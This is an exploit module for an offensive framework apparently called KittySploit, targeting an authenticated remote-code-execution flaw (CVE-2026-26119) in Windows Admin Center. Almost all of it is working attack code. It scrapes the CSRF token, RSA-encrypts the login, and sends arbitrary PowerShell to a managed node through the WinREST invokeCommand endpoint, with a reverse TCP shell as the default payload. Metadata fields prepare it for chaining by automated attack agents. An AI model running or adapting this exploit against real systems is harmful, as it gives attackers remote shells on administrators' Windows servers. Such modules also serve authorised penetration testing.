Windows Admin Center - Authenticated PowerShell RCE (CVE-2026-26119)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-26119 — Windows Admin Center authenticated WinREST/PowerShell RCE."""

from __future__ import annotations

import base64
import json
import re
import time
from typing import Any
from urllib.parse import urlparse

from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding, rsa as rsa_mod

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Windows Admin Center - Authenticated PowerShell RCE (CVE-2026-26119)",
        "description": (
            "CVE-2026-26119: authenticated RCE via WinREST/PowerShell invokeCommand. "
            "Use a reverse_tcp payload; the framework listener creates the shell session."
        ),
        "author": ["r3vpwnx", "KittySploit Team"],
        "cve": ["CVE-2026-26119"],
        "platform": Platform.WINDOWS,
        "arch": [Arch.X86, Arch.X64],
        "references": ["https://github.com/microsoft/Windows-admin-center"],
        "tags": ["wac", "windows-admin-center", "authenticated", "powershell", "rce", "cve-2026-26119"],
        "dependencies": ["cryptography"],
        "payload": {
            "default": "payloads/singles/cmd/windows/powershell_reverse_tcp",
            "platform": Platform.WINDOWS,
            "category": PayloadCategory.SINGLE,
        },
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 6,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["windows-admin-center", "wac"],
                "auth_session": True,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "WinREST invokeCommand"},
                    {"capability": "shell", "from_detail": "reverse_tcp session"},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": ["scanner/http/windows_admin_center_detect"],
            },
        },
    }

    port = OptPort(6516, "Windows Admin Center HTTPS port", required=True)
    ssl = OptBool(True, "Use HTTPS", required=True)
    username = OptString("", "WAC username", required=True)
    password = OptString("", "WAC password", required=True)
    node = OptString("", "Managed node (default: first hostname label or dc)", required=False)
    command = OptString("", "PowerShell command (overrides payload)", required=False)
    poll_interval = OptFloat(2.0, "Poll interval for invokeCommand (seconds)", required=False, advanced=True)
    invoke_timeout = OptInteger(120, "invokeCommand timeout (seconds)", required=False, advanced=True)

    def _resolve_node(self) -> str:
        if str(self.node or "").strip():
            return str(self.node).strip()
        host = str(self.target or "").strip()
        if host.startswith(("http://", "https://")):
            host = urlparse(host).hostname or host
        return host.split(".")[0].strip() or "dc"

    def _resolve_command(self) -> str:
        if str(self.command or "").strip():
            return str(self.command).strip()
        payload = str(self.payload or "").strip()
        if not payload:
            raise RuntimeError("Set a payload or COMMAND")
        return payload

    @staticmethod
    def _b64url_decode(value: str) -> bytes:
        return base64.urlsafe_b64decode(value + "=" * (-len(value) % 4))

    def _login(self) -> str:
        if not str(self.username or "").strip() or not str(self.password or ""):
            raise RuntimeError("USERNAME and PASSWORD are required")

        page = self.http_request(method="GET", path="/", allow_redirects=True, timeout=15)
        if not page or int(page.status_code or 0) != 200:
            raise RuntimeError("Could not load WAC login page")
        match = re.search(r'name="csrf"[^>]*value="([^"]+)"', page.text or "")
        if not match:
            raise RuntimeError("CSRF token not found on login page")
        csrf = match.group(1)

        key_resp = self.http_request(method="POST", path="/api/user/key", json={"csrf": csrf}, timeout=15)
        if not key_resp or int(key_resp.status_code or 0) != 200:
            raise RuntimeError(f"JWK fetch failed: HTTP {getattr(key_resp, 'status_code', '?')}")
        jwk = key_resp.json().get("jwk")
        if not isinstance(jwk, dict):
            raise RuntimeError("Invalid JWK response")

        pub = rsa_mod.RSAPublicNumbers(
            int.from_bytes(self._b64url_decode(jwk["e"]), "big"),
            int.from_bytes(self._b64url_decode(jwk["n"]), "big"),
        ).public_key()
        packet = json.dumps({"username": str(self.username), "password": str(self.password), "csrf": csrf})
        encrypted = pub.encrypt(
            packet.encode(),
            padding.OAEP(mgf=padding.MGF1(hashes.SHA256()), algorithm=hashes.SHA256(), label=None),
        )
        login_resp = self.http_request(
            method="POST",
            path="/api/user/login",
            json={"packet": base64.b64encode(encrypted).decode(), "csrf": csrf},
            timeout=15,
        )
        if not login_resp or int(login_resp.status_code or 0) != 200:
            raise RuntimeError(f"Login failed: HTTP {getattr(login_resp, 'status_code', '?')}")

        xsrf = self.session.cookies.get("XSRF-TOKEN")
        if not xsrf:
            raise RuntimeError("Login failed: no XSRF-TOKEN cookie")
        return xsrf

    def _invoke(self, xsrf: str, script: str) -> tuple[str, str]:
        node = self._resolve_node()
        path = f"/api/services/WinREST/PowerShell/nodes/{node}/invokeCommand"
        headers = {"x-xsrf-token": xsrf}
        timeout = int(self.invoke_timeout or 120)
        poll = float(self.poll_interval or 2.0)

        resp = self.http_request(
            method="POST",
            path=path,
            json={
                "properties": {
                    "script": script,
                    "command": "x",
                    "module": "",
                    "state": "ready",
                    "useInProcRunspace": False,
                    "invokeMode": "Polling",
                }
            },
            headers=headers,
            timeout=timeout,
        )
        if not resp or int(resp.status_code or 0) != 200:
            raise RuntimeError(f"invokeCommand failed: HTTP {getattr(resp, 'status_code', '?')}")

        job = resp.json()
        deadline = time.time() + timeout
        while not job.get("completed") and time.time() < deadline:
            job_id = job.get("id") or job.get("sessionId")
            if not job_id:
                raise RuntimeError(f"No job id in response: {json.dumps(job)[:300]}")
            time.sleep(poll)
            poll_resp = self.http_request(method="GET", path=f"{path}/{job_id}", headers=headers, timeout=timeout)
            if not poll_resp or int(poll_resp.status_code or 0) != 200:
                raise RuntimeError(f"Poll failed: HTTP {getattr(poll_resp, 'status_code', '?')}")
            job = poll_resp.json()

        if not job.get("completed"):
            raise RuntimeError("invokeCommand timed out")

        def _line(item: Any) -> str:
            return item if isinstance(item, str) else json.dumps(item, ensure_ascii=False)

        stdout = "\n".join(_line(x) for x in (job.get("results") or []))
        stderr = "\n".join(_line(x) for x in (job.get("errors") or []))
        return stdout, stderr

    def check(self):
        try:
            xsrf = self._login()
            stdout, stderr = self._invoke(xsrf, "whoami")
            if (stdout or stderr).strip():
                return {"vulnerable": True, "reason": "invokeCommand whoami succeeded", "confidence": "confirmed"}
            return {"vulnerable": True, "reason": "Authenticated but empty whoami output", "confidence": "medium"}
        except RuntimeError as exc:
            text = str(exc)
            if any(x in text for x in ("Login", "XSRF", "JWK", "CSRF", "PASSWORD")):
                return {"vulnerable": False, "reason": text, "confidence": "high"}
            return {"vulnerable": False, "reason": text, "confidence": "medium"}

    def run(self):
        try:
            print_status(f"CVE-2026-26119 — WAC RCE on node={self._resolve_node()}")
            xsrf = self._login()
            print_success("Authenticated to Windows Admin Center")

            command = self._resolve_command()
            stdout, stderr = self._invoke(xsrf, command)

            if stdout.strip():
                print_info(stdout.strip())
            if stderr.strip():
                print_warning(stderr.strip())

            print_success("Payload sent — waiting for reverse shell session")
            return True
        except RuntimeError as exc:
            print_error(str(exc))
            return False